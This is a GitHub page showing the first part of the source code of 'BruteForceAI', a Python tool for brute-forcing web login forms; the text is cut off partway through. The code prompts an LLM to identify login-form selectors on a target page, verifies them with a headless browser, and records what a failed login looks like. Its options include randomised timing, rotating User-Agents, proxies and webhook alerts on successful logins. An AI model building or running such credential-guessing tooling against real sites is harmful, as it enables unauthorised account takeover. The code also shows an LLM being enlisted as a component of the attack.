-
-
Notifications
You must be signed in to change notification settings - Fork 262
Expand file tree
/
Copy pathBruteForceCore.py
More file actions
2502 lines (2118 loc) · 114 KB
/
BruteForceCore.py
File metadata and controls
2502 lines (2118 loc) · 114 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8-sig -*-
import sqlite3
import os
import requests
import json
from playwright.sync_api import sync_playwright
import time
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
from datetime import datetime
import random
import yaml
# Current version
CURRENT_VERSION = "1.0.0"
VERSION_CHECK_URL = "https://mordavid.com/md_versions.yaml"
def check_for_updates(silent=False, force=False):
"""
Check for updates from mordavid.com
Args:
silent: If True, only show update messages, not "up to date" messages
force: If True, force check even if checked recently
Returns:
dict: Update information or None if check failed
"""
try:
response = requests.get(VERSION_CHECK_URL, timeout=3)
response.raise_for_status()
# Parse YAML
data = yaml.safe_load(response.text)
# Find BruteForceAI in the software list
bruteforce_info = None
for software in data.get('softwares', []):
if software.get('name', '').lower() == 'bruteforceai':
bruteforce_info = software
break
if not bruteforce_info:
return None
latest_version = bruteforce_info.get('version', '0.0.0')
# Simple version comparison (assumes semantic versioning)
if latest_version != CURRENT_VERSION:
print(f"🔄 Update available: v{CURRENT_VERSION} → v{latest_version} | Download: {bruteforce_info.get('url', 'N/A')}\n")
return {
'update_available': True,
'current_version': CURRENT_VERSION,
'latest_version': latest_version,
'info': bruteforce_info
}
else:
if not silent:
print(f"✅ BruteForceAI v{CURRENT_VERSION} is up to date\n")
return {
'update_available': False,
'current_version': CURRENT_VERSION,
'latest_version': latest_version
}
except:
# Silent fail - no error messages for network issues
return None
class Colors:
"""ANSI color codes for terminal output"""
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
RESET = '\033[0m'
@classmethod
def disable(cls):
"""Disable all colors"""
cls.RED = ''
cls.GREEN = ''
cls.YELLOW = ''
cls.BLUE = ''
cls.MAGENTA = ''
cls.CYAN = ''
cls.WHITE = ''
cls.BOLD = ''
cls.UNDERLINE = ''
cls.RESET = ''
def print_banner(no_color=False, check_updates=True):
"""Print colorful banner with tool information"""
if no_color:
Colors.disable()
banner = f"""{Colors.RED}{Colors.BOLD}
█▀▄ █▀▄ █ █ ▀█▀ █▀▀ █▀▀ █▀█ █▀▄ █▀▀ █▀▀ █▀█ ▀█▀
█▀▄ █▀▄ █ █ █ █▀▀ █▀▀ █ █ █▀▄ █ █▀▀ █▀█ █
▀▀ ▀ ▀ ▀▀▀ ▀ ▀▀▀ ▀ ▀▀▀ ▀ ▀ ▀▀▀ ▀▀▀ ▀ ▀ ▀▀▀ {Colors.RESET}
{Colors.YELLOW}{Colors.BOLD}🤖 BruteForceAI Attack - Smart brute-force tool using LLM 🧠{Colors.RESET}
{Colors.CYAN}{Colors.BOLD}Version {CURRENT_VERSION} | Author: Mor David (www.mordavid.com) | License: Non-Commercial{Colors.RESET}
"""
print(banner)
# Check for updates (always check, show both update and up-to-date messages)
if check_updates:
check_for_updates(silent=False)
class BruteForceAI:
def __init__(self, urls_file, usernames_file, passwords_file, selector_retry=3, show_browser=False, browser_wait=0, proxy=None, database='bruteforce.db', llm_provider=None, llm_model=None, llm_api_key=None, ollama_url=None, force_reanalyze=False, debug=False, retry_attempts=3, dom_threshold=100, verbose=False, delay=0, jitter=0, success_exit=False, user_agents_file=None, force_retry=False, discord_webhook=None, slack_webhook=None, teams_webhook=None, telegram_webhook=None, telegram_chat_id=None):
"""
Initialize BruteForceAI instance
Args:
urls_file: File path containing URLs (one per line) or list of URLs
usernames_file: File path containing usernames (one per line) or list of usernames
passwords_file: File path containing passwords (one per line) or list of passwords
selector_retry: Number of retry attempts for selectors (default: 3)
show_browser: Whether to show browser window (default: False)
browser_wait: Wait time in seconds when browser is visible (default: 0)
proxy: Proxy configuration (default: None)
database: SQLite database file path (default: 'bruteforce.db')
llm_provider: LLM provider ('ollama' or 'groq') (default: None)
llm_model: LLM model name (default: None)
llm_api_key: API key for Groq (not needed for Ollama) (default: None)
ollama_url: Ollama server URL (default: None - uses http://localhost:11434)
force_reanalyze: Force re-analysis even if selectors exist (default: False)
debug: Enable debug output (default: False)
retry_attempts: Number of retry attempts for network errors (default: 3)
dom_threshold: DOM length difference threshold for success detection (default: 100)
verbose: Show detailed timestamps for each attempt (default: False)
delay: Delay in seconds between attempts (default: 0)
jitter: Random jitter in seconds to add to delays (default: 0)
success_exit: Stop attack for each URL after first successful login (default: False)
user_agents_file: File containing User-Agent strings for random selection (default: None)
force_retry: Force retry attempts that already exist in the database (default: False - skip existing)
discord_webhook: Discord webhook URL for success notifications (default: None)
slack_webhook: Slack webhook URL for success notifications (default: None)
teams_webhook: Microsoft Teams webhook URL for success notifications (default: None)
telegram_webhook: Telegram bot token for success notifications (default: None)
telegram_chat_id: Telegram chat ID for notifications (default: None)
"""
# Load data from files or use direct lists
self.urls = self._load_data(urls_file)
self.usernames = self._load_data(usernames_file)
self.passwords = self._load_data(passwords_file)
self.selector_retry = selector_retry
self.show_browser = show_browser
self.browser_wait = browser_wait
self.proxy = proxy
self.database = database
self.llm_provider = llm_provider
self.llm_model = llm_model
self.llm_api_key = llm_api_key
self.ollama_url = ollama_url or "http://localhost:11434"
self.force_reanalyze = force_reanalyze
self.debug = debug
self.retry_attempts = retry_attempts
self.dom_threshold = dom_threshold
self.verbose = verbose
self.delay = delay
self.jitter = jitter
self.success_exit = success_exit
self.force_retry = force_retry
# Webhook configurations
self.discord_webhook = discord_webhook
self.slack_webhook = slack_webhook
self.teams_webhook = teams_webhook
self.telegram_webhook = telegram_webhook
self.telegram_chat_id = telegram_chat_id
# Load User-Agents if file provided
self.user_agents = []
if user_agents_file:
try:
self.user_agents = self.load_file_lines(user_agents_file)
print(f"🌐 Loaded {len(self.user_agents)} User-Agent strings")
except Exception as e:
print(f"⚠️ Warning: Could not load User-Agents file: {e}")
self.user_agents = []
# Get external IP once at startup
self.external_ip = self._get_external_ip()
if self.debug:
print(f"🌐 External IP: {self.external_ip or 'Unknown'}")
# Initialize database
self.check_or_create_database()
# Print webhook configuration
self._print_webhook_config()
def _load_data(self, data):
"""
Load data from file or return list if already a list
"""
if isinstance(data, list):
return data
elif isinstance(data, str):
# Assume it's a file path
return self.load_file_lines(data)
else:
raise ValueError(f"Invalid data type: {type(data)}")
def load_file_lines(self, file_path):
"""
Load lines from a file, strip whitespace and filter empty lines
"""
try:
with open(file_path, 'r', encoding='utf-8-sig') as f:
return [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"Error: File not found: {file_path}")
exit(1)
except Exception as e:
print(f"Error reading file {file_path}: {e}")
exit(1)
def create_database(self):
"""
Create SQLite database with required tables if it doesn't exist
"""
conn = sqlite3.connect(self.database)
cursor = conn.cursor()
# Create form_analysis table
cursor.execute('''
CREATE TABLE IF NOT EXISTS form_analysis (
id INTEGER PRIMARY KEY AUTOINCREMENT,
url TEXT UNIQUE,
login_username_selector TEXT,
login_password_selector TEXT,
login_submit_button_selector TEXT,
dom_length TEXT,
failed_dom_length TEXT,
dom_change INTEGER,
test_username_used TEXT,
success BOOLEAN,
attempts INTEGER,
playwright_or_requests TEXT DEFAULT 'playwright',
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP
)
''')
# Create brute_force_attempts table
cursor.execute('''
CREATE TABLE IF NOT EXISTS brute_force_attempts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
url TEXT,
username_or_email TEXT,
password TEXT,
dom_length TEXT,
failed_dom_length TEXT,
success BOOLEAN,
response_time_ms INTEGER,
playwright_or_requests TEXT DEFAULT 'playwright',
proxy_server TEXT,
external_ip TEXT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP
)
''')
conn.commit()
conn.close()
print(f"Database initialized: {self.database}")
def check_or_create_database(self):
"""
Check if database exists, create it if it doesn't
"""
if not os.path.exists(self.database):
print(f"Database not found, creating: {self.database}")
self.create_database()
else:
print(f"Database found: {self.database}")
# Still run create_database to ensure tables exist
self.create_database()
def _calculate_delay_with_jitter(self):
"""
Calculate delay with random jitter for more human-like timing
Returns:
float: Total delay time (base delay + random jitter)
"""
base_delay = self.delay
if self.jitter > 0:
# Add random jitter between 0 and jitter value
jitter_amount = random.uniform(0, self.jitter)
total_delay = base_delay + jitter_amount
if self.debug:
print(f"🎲 Delay: {base_delay}s + jitter: {jitter_amount:.2f}s = {total_delay:.2f}s")
return total_delay
else:
return base_delay
def run(self):
"""
Execute the brute force operation
"""
print(f"Starting brute force on {len(self.urls)} URL(s)")
print(f"Usernames: {len(self.usernames)} loaded")
print(f"Passwords: {len(self.passwords)} loaded")
print(f"Show browser: {self.show_browser}")
print(f"Selector retry: {self.selector_retry}")
print(f"Proxy: {self.proxy}")
print(f"Database: {self.database}")
for url in self.urls:
print(f"Processing URL: {url}")
for username in self.usernames:
for password in self.passwords:
print(f" Trying: {username}:{password}")
# Add your brute force logic here
def __str__(self):
return f"BruteForceAI(urls={len(self.urls)}, usernames={len(self.usernames)}, passwords={len(self.passwords)}, database={self.database})"
def llm_prompt(self, prompt, system_prompt=None):
"""
Send prompt to LLM provider (Ollama or Groq)
Args:
prompt: The user prompt to send
system_prompt: Optional system prompt
Returns:
LLM response text or None if error
"""
if not self.llm_provider or not self.llm_model:
print("LLM provider or model not configured")
return None
if self.llm_provider.lower() == 'ollama':
return self._ollama_request(prompt, system_prompt)
elif self.llm_provider.lower() == 'groq':
return self._groq_request(prompt, system_prompt)
else:
print(f"Unsupported LLM provider: {self.llm_provider}")
return None
def _ollama_request(self, prompt, system_prompt=None):
"""
Send request to Ollama API
"""
try:
url = f"{self.ollama_url}/api/generate"
messages = []
if system_prompt:
messages.append({"role": "system", "content": system_prompt})
messages.append({"role": "user", "content": prompt})
data = {
"model": self.llm_model,
"prompt": prompt,
"stream": False
}
if system_prompt:
data["system"] = system_prompt
response = requests.post(url, json=data, timeout=60)
response.raise_for_status()
result = response.json()
return result.get('response', '')
except Exception as e:
print(f"Ollama request error: {e}")
return None
def _groq_request(self, prompt, system_prompt=None):
"""
Send request to Groq API
"""
try:
if not self.llm_api_key:
print("Groq API key not provided")
return None
url = "https://api.groq.com/openai/v1/chat/completions"
headers = {
"Authorization": f"Bearer {self.llm_api_key}",
"Content-Type": "application/json"
}
messages = []
if system_prompt:
messages.append({"role": "system", "content": system_prompt})
messages.append({"role": "user", "content": prompt})
data = {
"model": self.llm_model,
"messages": messages,
"temperature": 0.7,
"max_tokens": 1024
}
response = requests.post(url, headers=headers, json=data, timeout=60)
response.raise_for_status()
result = response.json()
return result['choices'][0]['message']['content']
except requests.exceptions.HTTPError as e:
if e.response.status_code == 400:
print(f"❌ Groq API Error: Bad Request (400)")
print(f" This usually means:")
print(f" 1. Invalid API key format")
print(f" 2. Request too large (HTML content might be too big)")
print(f" 3. Invalid model name: {self.llm_model}")
print(f" 💡 Try these high-performance models:")
print(f" --llm-model llama-3.3-70b-versatile (Latest & best)")
print(f" --llm-model llama3-70b-8192 (Fast & reliable)")
print(f" --llm-model gemma2-9b-it (Lightweight)")
print(f" Or use Ollama instead: --llm-provider ollama")
elif e.response.status_code == 401:
print(f"❌ Groq API Error: Unauthorized (401)")
print(f" Your API key is invalid or expired")
print(f" Get a new one from: https://console.groq.com/")
elif e.response.status_code == 429:
print(f"❌ Groq API Error: Rate Limited (429)")
print(f" You've exceeded the rate limit")
print(f" 💡 Try these reliable models:")
print(f" --llm-model llama3-70b-8192 (Fast & reliable)")
print(f" --llm-model gemma2-9b-it (Lightweight)")
print(f" Or use Ollama: --llm-provider ollama")
else:
print(f"❌ Groq API Error: HTTP {e.response.status_code}")
print(f" {e}")
return None
except Exception as e:
print(f"❌ Groq request error: {e}")
return None
def stage1(self, url):
"""
Analyze web page to identify login form selectors
Args:
url: URL to analyze
Returns:
dict: Analysis results with selectors or None if failed
"""
print(f"Stage 1: Analyzing {url}")
# Check if we already have working selectors for this URL
existing_selectors = self._get_existing_selectors(url)
if existing_selectors and not self.force_reanalyze:
print(f"✅ Found existing working selectors for {url}")
print(f" Username selector: {existing_selectors.get('login_username_selector')}")
print(f" Password selector: {existing_selectors.get('login_password_selector')}")
print(f" Submit selector: {existing_selectors.get('login_submit_button_selector')}")
print(" Skipping analysis - using existing selectors")
return existing_selectors
try:
with sync_playwright() as p:
# Launch browser with proper visibility settings
browser_args = {
'headless': not self.show_browser,
'slow_mo': 1000 if self.show_browser else 0 # Slow down if showing browser
}
browser = p.chromium.launch(**browser_args)
# Configure context with proxy and User-Agent
context_args = {
'ignore_https_errors': True # Ignore SSL certificate errors
}
if self.proxy:
context_args['proxy'] = {"server": self.proxy}
# Add random User-Agent if available
random_user_agent = self._get_random_user_agent()
if random_user_agent:
context_args['user_agent'] = random_user_agent
context = browser.new_context(**context_args)
page = context.new_page()
print(f"🌐 Navigating to: {url}")
# Navigate to URL
page.goto(url, timeout=30000)
page.wait_for_load_state('networkidle')
if self.show_browser and self.browser_wait > 0:
print(f"⏸️ Browser is visible - waiting {self.browser_wait} seconds...")
time.sleep(self.browser_wait)
elif self.show_browser:
print("👀 Browser is visible (no wait time configured)")
# Get initial page HTML (clean, without any form values)
html_content = page.content()
# Calculate clean DOM length (without form values)
clean_dom_length = len(html_content)
clean_html_content = html_content # Save for debug comparison
print(f"📄 Page loaded, clean DOM length: {clean_dom_length}")
# Smart HTML processing - extract form elements and context
processed_html = self._extract_form_content(html_content)
# Analyze with LLM
print("🤖 Analyzing with LLM...")
selectors = None
attempt = 1
failed_selectors_info = ""
best_selectors = {} # Accumulate best selectors found
while attempt <= self.selector_retry and not selectors:
if attempt == 1:
print(f"🔍 Attempt {attempt}/{self.selector_retry}")
selectors = self._analyze_with_llm(processed_html)
else:
print(f"🔄 Retry {attempt}/{self.selector_retry} - providing feedback to LLM")
selectors = self._analyze_with_llm_retry(processed_html, failed_selectors_info, attempt)
if selectors:
# Validate selectors on the actual page
print("🔍 Validating selectors on page...")
validated_selectors, validation_details = self._validate_selectors_with_details(page, selectors)
if validated_selectors:
# Test actual login attempt to get failed DOM length
print("🧪 Testing login attempt to measure failed DOM length...")
login_test_result = self._test_login_attempt(page, validated_selectors, clean_dom_length, clean_html_content)
# Extract data from test result
if login_test_result:
failed_dom_length = login_test_result['failed_dom_length']
dom_change = login_test_result['dom_change']
test_username_used = login_test_result['test_username_used']
else:
failed_dom_length = None
dom_change = None
test_username_used = None
# Success - save to database
result = {
'url': url,
'login_username_selector': validated_selectors.get('login_username_selector'),
'login_password_selector': validated_selectors.get('login_password_selector'),
'login_submit_button_selector': validated_selectors.get('login_submit_button_selector'),
'dom_length': str(clean_dom_length),
'failed_dom_length': str(failed_dom_length) if failed_dom_length else None,
'dom_change': dom_change,
'test_username_used': test_username_used,
'success': True,
'attempts': attempt,
'playwright_or_requests': 'playwright'
}
self._save_form_analysis(result)
print(f"✅ Stage 1 completed for {url} (attempt {attempt})")
print(f" Username selector: {validated_selectors.get('login_username_selector')}")
print(f" Password selector: {validated_selectors.get('login_password_selector')}")
print(f" Submit selector: {validated_selectors.get('login_submit_button_selector')}")
print(f" Clean DOM length: {clean_dom_length}")
print(f" Failed DOM length: {failed_dom_length}")
if dom_change is not None:
print(f" DOM change: {dom_change} chars")
if test_username_used:
print(f" Test email: {test_username_used}")
# Close browser
browser.close()
return result
else:
# Accumulate any working selectors for final save
working_selectors = self._extract_working_selectors(selectors, validation_details)
if working_selectors:
print(f"💾 Found working selectors: {len(working_selectors)}/3")
for field, selector in working_selectors.items():
best_selectors[field] = selector
field_name = field.replace('login_', '').replace('_selector', '')
print(f" ✅ {field_name}: {selector}")
# Check if we now have all 3 selectors accumulated
if len(best_selectors) == 3:
print("🎯 All 3 selectors found across attempts! Testing complete set...")
# Test the complete set
complete_validated, complete_details = self._validate_selectors_with_details(page, best_selectors)
if complete_validated:
# Test actual login attempt to get failed DOM length
print("🧪 Testing login attempt to measure failed DOM length...")
login_test_result = self._test_login_attempt(page, complete_validated, clean_dom_length, clean_html_content)
# Extract data from test result
if login_test_result:
failed_dom_length = login_test_result['failed_dom_length']
dom_change = login_test_result['dom_change']
test_username_used = login_test_result['test_username_used']
else:
failed_dom_length = None
dom_change = None
test_username_used = None
# Success - save to database
result = {
'url': url,
'login_username_selector': complete_validated.get('login_username_selector'),
'login_password_selector': complete_validated.get('login_password_selector'),
'login_submit_button_selector': complete_validated.get('login_submit_button_selector'),
'dom_length': str(clean_dom_length),
'failed_dom_length': str(failed_dom_length) if failed_dom_length else None,
'dom_change': dom_change,
'test_username_used': test_username_used,
'success': True,
'attempts': attempt,
'playwright_or_requests': 'playwright'
}
self._save_form_analysis(result)
print(f"✅ Stage 1 completed for {url} (accumulated across {attempt} attempts)")
print(f" Username selector: {complete_validated.get('login_username_selector')}")
print(f" Password selector: {complete_validated.get('login_password_selector')}")
print(f" Submit selector: {complete_validated.get('login_submit_button_selector')}")
print(f" Clean DOM length: {clean_dom_length}")
print(f" Failed DOM length: {failed_dom_length}")
if dom_change is not None:
print(f" DOM change: {dom_change} chars")
if test_username_used:
print(f" Test email: {test_username_used}")
# Close browser
browser.close()
return result
else:
print("❌ Complete set validation failed, continuing...")
# Validation failed - prepare feedback for next attempt
failed_selectors_info = self._prepare_failure_feedback(selectors, validation_details, best_selectors)
selectors = None # Reset to trigger retry
if attempt < self.selector_retry:
print(f"❌ Validation failed, preparing retry with feedback...")
if self.debug:
print(f"🔍 DEBUG - Feedback to LLM:")
print(f"---")
print(failed_selectors_info)
print(f"---")
else:
print(f"❌ All {self.selector_retry} attempts failed")
else:
print(f"❌ LLM analysis failed on attempt {attempt}")
attempt += 1
# All attempts failed - save best selectors found (if any)
print(f"❌ Stage 1 failed for {url} after {self.selector_retry} attempts")
browser.close()
# Save the best selectors we found, even if incomplete
if best_selectors:
print(f"💾 Saving best selectors found: {len(best_selectors)}/3")
result = {
'url': url,
'login_username_selector': best_selectors.get('login_username_selector'),
'login_password_selector': best_selectors.get('login_password_selector'),
'login_submit_button_selector': best_selectors.get('login_submit_button_selector'),
'dom_length': str(clean_dom_length),
'failed_dom_length': None,
'dom_change': None,
'test_username_used': None,
'success': False,
'attempts': self.selector_retry,
'playwright_or_requests': 'playwright'
}
self._save_form_analysis(result)
for field, selector in best_selectors.items():
field_name = field.replace('login_', '').replace('_selector', '')
print(f" 💾 Saved {field_name}: {selector}")
else:
# Save complete failure
result = {
'url': url,
'login_username_selector': None,
'login_password_selector': None,
'login_submit_button_selector': None,
'dom_length': str(clean_dom_length),
'failed_dom_length': None,
'dom_change': None,
'test_username_used': None,
'success': False,
'attempts': self.selector_retry,
'playwright_or_requests': 'playwright'
}
self._save_form_analysis(result)
print(" 💾 No working selectors found")
return None
except Exception as e:
print(f"❌ Stage 1 error for {url}: {e}")
# Save failed attempt
result = {
'url': url,
'login_username_selector': None,
'login_password_selector': None,
'login_submit_button_selector': None,
'dom_length': None,
'failed_dom_length': None,
'dom_change': None,
'test_username_used': None,
'success': False,
'attempts': 1,
'playwright_or_requests': 'playwright'
}
self._save_form_analysis(result)
return None
def _analyze_with_llm(self, html_content):
"""
Analyze HTML content with LLM to identify selectors
"""
if not self.llm_provider or not self.llm_model:
print("LLM not configured, skipping analysis")
return None
# Smart HTML processing - extract form elements and context
processed_html = self._extract_form_content(html_content)
prompt = f"""Analyze this HTML and identify CSS selectors for login form elements:
1. login_username_selector - CSS selector for username/email input field
2. login_password_selector - CSS selector for password input field
3. login_submit_button_selector - CSS selector for login submit button
HTML:
{processed_html}
Return ONLY valid JSON format:
{{
"login_username_selector": "...",
"login_password_selector": "...",
"login_submit_button_selector": "..."
}}"""
system_prompt = "You are a web scraping expert. Analyze HTML and return precise CSS selectors for login forms. Return only valid JSON."
response = self.llm_prompt(prompt, system_prompt)
if response:
try:
# Try to parse JSON response directly first
selectors = json.loads(response)
return selectors
except json.JSONDecodeError:
# If direct parsing fails, try to extract JSON from response
try:
# Look for JSON block in response
import re
json_match = re.search(r'```json\s*(\{.*?\})\s*```', response, re.DOTALL)
if json_match:
json_str = json_match.group(1)
selectors = json.loads(json_str)
print(f"✅ Extracted JSON from LLM response")
return selectors
# Try to find JSON without code blocks
json_match = re.search(r'(\{[^{}]*"login_username_selector"[^{}]*\})', response, re.DOTALL)
if json_match:
json_str = json_match.group(1)
selectors = json.loads(json_str)
print(f"✅ Found JSON in LLM response")
return selectors
except json.JSONDecodeError:
pass
print(f"❌ Failed to parse LLM response as JSON:")
print(f"Response: {response[:500]}...")
return None
return None
def _analyze_with_llm_retry(self, html_content, failed_selectors_info, attempt):
"""
Analyze HTML content with LLM on retry, providing feedback about previous failures
"""
if not self.llm_provider or not self.llm_model:
print("LLM not configured, skipping analysis")
return None
# Smart HTML processing - extract form elements and context
processed_html = self._extract_form_content(html_content)
prompt = f"""RETRY ATTEMPT #{attempt}: The previous selectors failed validation. Please analyze this HTML again and provide DIFFERENT, more accurate CSS selectors.
PREVIOUS FAILURE DETAILS:
{failed_selectors_info}
Please analyze this HTML and identify CSS selectors for login form elements:
1. login_username_selector - CSS selector for username/email input field
2. login_password_selector - CSS selector for password input field
3. login_submit_button_selector - CSS selector for login submit button
HTML:
{processed_html}
CRITICAL INSTRUCTIONS:
- If a selector is marked as "WORKING" above, use it EXACTLY as provided
- Provide DIFFERENT selectors ONLY for the failed/missing ones
- Look for alternative ways to target the same elements (class names, IDs, attributes)
- Make sure the selectors are precise and unique
- Do NOT change working selectors
Return ONLY valid JSON format:
{{
"login_username_selector": "...",
"login_password_selector": "...",
"login_submit_button_selector": "..."
}}"""
system_prompt = f"You are a web scraping expert on retry attempt #{attempt}. NEVER change selectors that are marked as WORKING. Only provide different selectors for failed ones. Return only valid JSON."
if self.debug:
print(f"🔍 DEBUG - Full prompt to LLM (attempt {attempt}):")
print(f"SYSTEM: {system_prompt}")
print(f"USER: {prompt[:1000]}...") # Show first 1000 chars
response = self.llm_prompt(prompt, system_prompt)
if response:
try:
# Try to parse JSON response directly first
selectors = json.loads(response)
return selectors
except json.JSONDecodeError:
# If direct parsing fails, try to extract JSON from response
try:
# Look for JSON block in response
import re
json_match = re.search(r'```json\s*(\{.*?\})\s*```', response, re.DOTALL)
if json_match:
json_str = json_match.group(1)
selectors = json.loads(json_str)
print(f"✅ Extracted JSON from LLM retry response")
return selectors
# Try to find JSON without code blocks
json_match = re.search(r'(\{[^{}]*"login_username_selector"[^{}]*\})', response, re.DOTALL)
if json_match:
json_str = json_match.group(1)
selectors = json.loads(json_str)
print(f"✅ Found JSON in LLM retry response")
return selectors
except json.JSONDecodeError:
pass
print(f"❌ Failed to parse LLM retry response as JSON:")
print(f"Response: {response[:500]}...")
return None
return None
def _validate_selectors_with_details(self, page, selectors):
"""
Validate selectors and return both results and detailed feedback
"""
validated_selectors = {}
validation_details = {}
# Test data for validation
test_username = "fake_test_user_12345"
test_password = "fake_test_password_12345"
# Validate username selector
username_selector = selectors.get('login_username_selector')
if username_selector:
try:
element = page.locator(username_selector).first
if element.count() > 0:
input_type = element.get_attribute('type')
if input_type in ['text', 'email', None]:
# Test typing in the field
try:
element.clear()
element.fill(test_username)
typed_value = element.input_value()
if typed_value == test_username:
validated_selectors['login_username_selector'] = username_selector
validation_details['username'] = f"✅ {input_type or 'text'} input - typing works"
else:
validation_details['username'] = f"❌ Typing failed - expected '{test_username}', got '{typed_value}'"
except Exception as e:
validation_details['username'] = f"❌ Cannot type in field: {str(e)[:50]}"
else:
validation_details['username'] = f"❌ Wrong input type: {input_type}"
else:
validation_details['username'] = f"❌ Element not found with selector: {username_selector}"
except Exception as e:
validation_details['username'] = f"❌ Selector error: {str(e)[:50]}"
# Validate password selector
password_selector = selectors.get('login_password_selector')
if password_selector:
try:
element = page.locator(password_selector).first
if element.count() > 0:
input_type = element.get_attribute('type')
if input_type == 'password':
# Test typing in the password field
try:
element.clear()
element.fill(test_password)
validation_details['password'] = "✅ Password input - typing works"
validated_selectors['login_password_selector'] = password_selector
except Exception as e:
validation_details['password'] = f"❌ Cannot type in password field: {str(e)[:50]}"
else:
validation_details['password'] = f"❌ Wrong input type: {input_type}"
else:
validation_details['password'] = f"❌ Element not found with selector: {password_selector}"
except Exception as e:
validation_details['password'] = f"❌ Selector error: {str(e)[:50]}"
# Validate submit button selector
submit_selector = selectors.get('login_submit_button_selector')
if submit_selector:
try:
element = page.locator(submit_selector).first
if element.count() > 0:
tag_name = element.evaluate('el => el.tagName.toLowerCase()')
input_type = element.get_attribute('type')
# Check if it's a valid submit element
#is_valid_submit = (
# (tag_name == 'button') or
# (tag_name == 'input' and input_type in ['submit', 'button'])
#)
#if is_valid_submit:
# Test if the button is clickable
try:
if element.is_enabled() and element.is_visible():
# Test hover to see if it's interactive
element.hover()
validation_details['submit'] = f"✅ {tag_name} element - clickable and interactive"
validated_selectors['login_submit_button_selector'] = submit_selector
else:
validation_details['submit'] = f"❌ {tag_name} element not enabled or visible"
except Exception as e:
validation_details['submit'] = f"❌ Button not interactive: {str(e)[:50]}"
#else:
#validation_details['submit'] = f"❌ Not a submit element: {tag_name}"
else:
validation_details['submit'] = f"❌ Element not found with selector: {submit_selector}"
except Exception as e:
validation_details['submit'] = f"❌ Selector error: {str(e)[:50]}"
# Clear the test data from fields
try:
if username_selector and username_selector in validated_selectors.values():
page.locator(username_selector).first.clear()
if password_selector and password_selector in validated_selectors.values():
page.locator(password_selector).first.clear()
except:
pass # Ignore cleanup errors
# Print validation results
for field, result in validation_details.items():
print(f" {field.capitalize()}: {result}")
# Return validated selectors and details
if len(validated_selectors) == 3:
print("✅ All selectors validated and tested successfully")
return validated_selectors, validation_details
else:
